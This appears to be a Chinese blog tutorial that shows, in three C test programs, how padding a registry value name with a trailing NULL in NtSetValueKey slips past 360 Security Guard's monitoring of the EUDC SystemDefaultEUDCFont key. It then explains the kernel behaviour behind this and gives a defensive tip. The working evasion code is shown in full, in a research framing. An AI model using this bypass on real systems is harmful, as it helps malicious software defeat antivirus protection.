欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

利用一个NULL绕过360注册表监控

利用一个NULL绕过360注册表监控

一.测试环境
本次测试所采用的操作系统为中文版Windows XP SP3(使用360安全卫士更新了所有补丁),360安全卫士 7.8.0.1001(备用木马库2011-04-01),360杀毒软件2.0.0.1330(病毒库日期2011-04-01 03:49),计算机处于联网状态,360安全卫士、360杀毒都“已成功连接至360云安全中心”。建立了一个名为admin的管理员用户。
【注意!】本次测试都在管理员下进行。
二.测试
1.测试1
#include <windows.h>
void main()
{
  BYTE  RegBuf[0x28] = {0};
  HKEY  hKey;
  if ( RegOpenKey(HKEY_CURRENT_USER,L"EUDC\\936",&hKey) == ERROR_SUCCESS )
  {
    RegSetValueEx(hKey, L"SystemDefaultEUDCFont", 0, REG_BINARY, RegBuf, 0x28);
    RegCloseKey(hKey);
  }
}
编译后运行,360木马防火墙提示风险“发现程序正在修改系统关键设置”,默认选择为“阻止本次操作”,点确定后HKEY_CURRENT_USER\EUDC\936下SystemDefaultEUDCFont的数据以及类型没有被修改。
2.测试2
考虑到RegSetValueEx是位于Advapi32.dll里面的一个函数,不够底层,在RegSetValueEx的执行过程中可能会存在干扰,于是调用ntdll.dll里面的NtSetValueKey。
#include <windows.h>
typedef struct _UNICODE_STRING {
  USHORT  Length;
  USHORT  MaximumLength;
  WCHAR  *Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef NTSTATUS ( __stdcall *NtSetValueKey_ ) (
  IN HANDLE      KeyHandle,
  IN PUNICODE_STRING  ValueName,
  IN ULONG      TitleIndex,
  IN ULONG      Type,
  IN PVOID      Data,
  IN ULONG      DataSize
  );
NtSetValueKey_ NtSetValueKey = NULL;
int main()
{
  BYTE  RegBuf[0x28] = {0};
  HKEY  hKey;
  if ( RegOpenKey(HKEY_CURRENT_USER,L"EUDC\\936",&hKey) != ERROR_SUCCESS )
    return FALSE;
  NtSetValueKey    =  (NtSetValueKey_)GetProcAddress(GetModuleHandle(L"ntdll.dll"),"NtSetValueKey");
  if ( NtSetValueKey == NULL )
    return FALSE;
  
  WCHAR  lpszName[22]    =  L"SystemDefaultEUDCFont";//21个字符
  UNICODE_STRING    ValueName;
  ValueName.Buffer      =  lpszName;
  ValueName.Length      =  21 * 2;
  ValueName.MaximumLength    =  21 * 2;
  NtSetValueKey( (HANDLE)hKey, &ValueName, NULL,REG_BINARY, (BYTE *)RegBuf, 0x28 );
  RegCloseKey(hKey);
}
编译后运行,360木马防火墙仍然提示风险“发现程序正在修改系统关键设置”,默认选择为“阻止本次操作”,点确定后HKEY_CURRENT_USER\EUDC\936下SystemDefaultEUDCFont的数据以及类型没有被修改。
【思考】
对于UNICODE_STRING结构体,Length表明了字符串的长度,Buffer指向的字符串不再以NULL表示字符串的结束。回忆很久以前刚开始学习C语言时,书、老师都在强调:字符串末尾是NULL,碰到NULL就说明字符串结束了。于是灵光一闪,如果在UNICODE_STRING里面加个NULL会怎样?

3.测试3
#include <windows.h>
typedef struct _UNICODE_STRING {
  USHORT  Length;
  USHORT  MaximumLength;
  WCHAR  *Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef NTSTATUS ( __stdcall *NtSetValueKey_ ) (
  IN HANDLE      KeyHandle,
  IN PUNICODE_STRING  ValueName,
  IN ULONG      TitleIndex,
  IN ULONG      Type,
  IN PVOID      Data,
  IN ULONG      DataSize
  );
NtSetValueKey_ NtSetValueKey = NULL;
int main()
{
  BYTE  RegBuf[0x28] = {0};
  HKEY  hKey;
  if ( RegOpenKey(HKEY_CURRENT_USER,L"EUDC\\936",&hKey) != ERROR_SUCCESS )
    return FALSE;
  NtSetValueKey    =  (NtSetValueKey_)GetProcAddress(GetModuleHandle(L"ntdll.dll"),"NtSetValueKey");
  if ( NtSetValueKey == NULL )
    return FALSE;
  
  WCHAR  lpszName[22]    =  L"SystemDefaultEUDCFont";//21个字符
  UNICODE_STRING    ValueName;
  ValueName.Buffer      =  lpszName;
  ValueName.Length      =  21 * 2 + 2;//长度+2,指明多了一个NULL,这是关键之处!
  ValueName.MaximumLength    =  21 * 2 + 2;//长度+2,指明多了一个NULL
  NtSetValueKey( (HANDLE)hKey, &ValueName, NULL,REG_BINARY, (BYTE *)RegBuf, 0x28 );
  RegCloseKey(hKey);
}
上面代码的关键之处在于ValueName.Length要+2,使得UNICODE_STRING中包含一个NULL。编译后运行,360无任何提示。运行regedit.exe,可以看到HKEY_CURRENT_USER\EUDC\936下面的SystemDefaultEUDCFont数值类型为REG_BINARY,数值数据是一连串的0。
4.nt!NtSetValueKey是怎么处理的?
以ntkrnlpa.exe(5.1.2600.6055)为例,在0x8061A410处开始处理UNICODE_STRING.Buffer所指向的字符串末尾的NULL,有一个NULL就将Length减2,两个就减4,碰到第一个不是NULL的字符为止。这样在传递到nt!CmSetValueKey时,UNICODE_STRING最后面就不包括NULL了,SystemDefaultEUDCFont+NULL变成了SystemDefaultEUDCFont
5.防御建议
对比要保护的数值名称时,请无视Buffer末尾的NULL!
三、参考资料
HKEY_CURRENT_USER\EUDC\936:
Nooby的POC:http://www.debugman.com/discussion/5767/
英文文档http://www.security.nl/files/Bypass_UAC.pdf
UNICODE_STRING:《天书夜读:从汇编语言到Windows内核编程》P40
nt!NtSetValueKey:IDA反汇编分析或WRK

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功